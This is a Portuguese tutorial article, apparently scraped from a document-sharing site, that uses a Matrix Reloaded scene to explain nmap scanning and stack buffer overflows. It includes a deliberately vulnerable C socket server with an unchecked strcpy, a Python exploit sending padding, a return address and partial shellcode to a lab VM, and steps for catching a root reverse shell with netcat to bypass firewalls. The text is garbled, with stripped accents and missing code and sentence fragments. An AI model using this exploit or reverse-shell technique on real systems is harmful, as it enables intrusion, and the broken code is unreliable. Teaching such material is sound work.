Escolar Documentos
Profissional Documentos
Cultura Documentos
Matrix o filme
O filme Matrix Reloaded um marco na indstria cinematogrfica, no s
pelos efeitos especiais, mas tambm do ponto de vista tecnolgico, pela
utilizao de uma ferramenta de uso real no campo da segurana da
informao.
A certa altura do filme, a personagem Trinity invade o computador da
Matrix, utilizando o nmap para fazer o reconhecimento de portas e assim
detectando a porta 22 (SSH) aberta. Explorando uma vulnerabilidade do servidor SSH, utiliza um exploit denominado sshnuke para ganhar acesso ao
servidor.
O nmap uma ferramenta de reconhecimento largamente utilizada no diaa-dia dos profissionais de segurana da informao (e dos crackers
tambm), que permite mapeamento de portas utilizando diversas tcnicas
furtivas de reconhecimento alm de identificar com boa preciso, o sistema
operacional que roda no dispositivo remoto.
para executar as mais variadas aes como por exemplo, abrir um shell
para uso do atacante, eliminar regras do firewall, instalar um backdoor,
matar processos, criar usurios, etc, ou no mnimo provocar uma negao
de servio.
Um buffer overflow um provocado por um erro de programao que gera
umaexception no acesso memria. Ele ocorre quando um processo tenta
armazenar um dado alm dos limites de um buffer de tamanho
determinado, sobrescrevendo reas de memria adjacentes a esse buffer,
incluindo alguns endereos de controle fluxo ou ponteiros de memria
utilizados pelo processador, o que normalmente causa um erro de
Segmentation Fault, provocando o encerramento do programa.
Esses endereos de controle de fluxo, na realidade, so ponteiros para a
prxima instruo a ser executada pelo processador e se cuidadosamente
sobrepostos, podem provocar um desvio no fluxo de execuo normal do
programa para o cdigo malfico do atacante.
char buffer[1024];
//a string do parametro eh copiada nesse buffer
strcpy(buffer,string);
//e depois mostrada na stdout
printf("Mensagem recebida: %s\n",buffer);
fflush;
}
error("ERRO de 'bind'");
listen(sockfd,5);
clilen = sizeof(cli_addr);
while(1)
{
newsockfd = accept(sockfd,
(struct sockaddr *) &cli_addr,
&clilen);
if (newsockfd < 0)
error("ERRO na recepcao");
bzero(buffer,256);
n = read(newsockfd,buffer,2000);
if (n < 0) error("ERRO na leitura do socket");
viewer(buffer);
n = write(newsockfd,"A mensagem foi recebida pelo servidor.", strlen("A
mensagem foi recebida pelo servidor."));
if (n < 0) error("ERROR na gravacao do socket");
}
return 0;
}
No cdigo do programa, podemos observar na funo viewer(), o ponto
vulnervel do programa. A varivel buffer definida com o tamanho de
1024 bytes, mas no existe qualquer verificao quanto ao tamanho do
dado atribudo a ela.
Dessa forma, se enviarmos um pacote com 1028 bytes (antes da regio EIP,
que desejamos alterar, existe o EBP com 4 bytes, mas no nos
interessa), mais o endereo de desvio, podemos sobrepor o endereo
original. Existem certos detalhes tcnicos adicionais que tornam o
desenvolvimento do exploit mais complexo, mas que fogem ao escopo
desse artigo. Maiores informaes podem ser obtidas consultando os
documentos citados nas referncias desse artigo.
Na nossa demonstrao, compilamos e executamos esse programa servidor
numa mquina virtual Vmware, com sistema operacional Debian 4.0, kernel
import socket
import getopt
import sys
host = "172.16.56.128"
port = 1025
"\x71\x6e\x50\x76\x6b\x4a\x6d\x4b\x30\x45"
retaddr = "\x77\xe7\xff\xff"
buff = "A" * 1028 + retaddr + shellcode + "\x00"
sock = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
sock.connect((host, port))
sock.send(buff)
sock.close()
sock = None
Realizando o ataque
Os passos para executar o ataque de demonstrao consistem no seguinte:
1. Inicialmente, colocamos o servidor para executar no Debian, rodando
na VM, escutando a porta 1025.
2. Na mquina hospedeira, numa sesso shell, colocamos
o netcat escutando na porta 4444 para receber a conexo de retorno.
3. Em outra sesso shell, executamos o nmap que confirma a existncia
do servio (no caso, porta 1025) e em seguida, executamos o exploit.
4. No shell do netcat recebemos a conexo de callback do servidor,
onde podemos digitar qualquer comando, herdando as permisses da
conta em que o servidor executado (no nosso caso root).
O uso da tcnica de callback serve para burlar as regras do firewall,
iniciando uma conexo da rede interna para a rede externa.
As telas a seguir, demonstram o ataque realizado: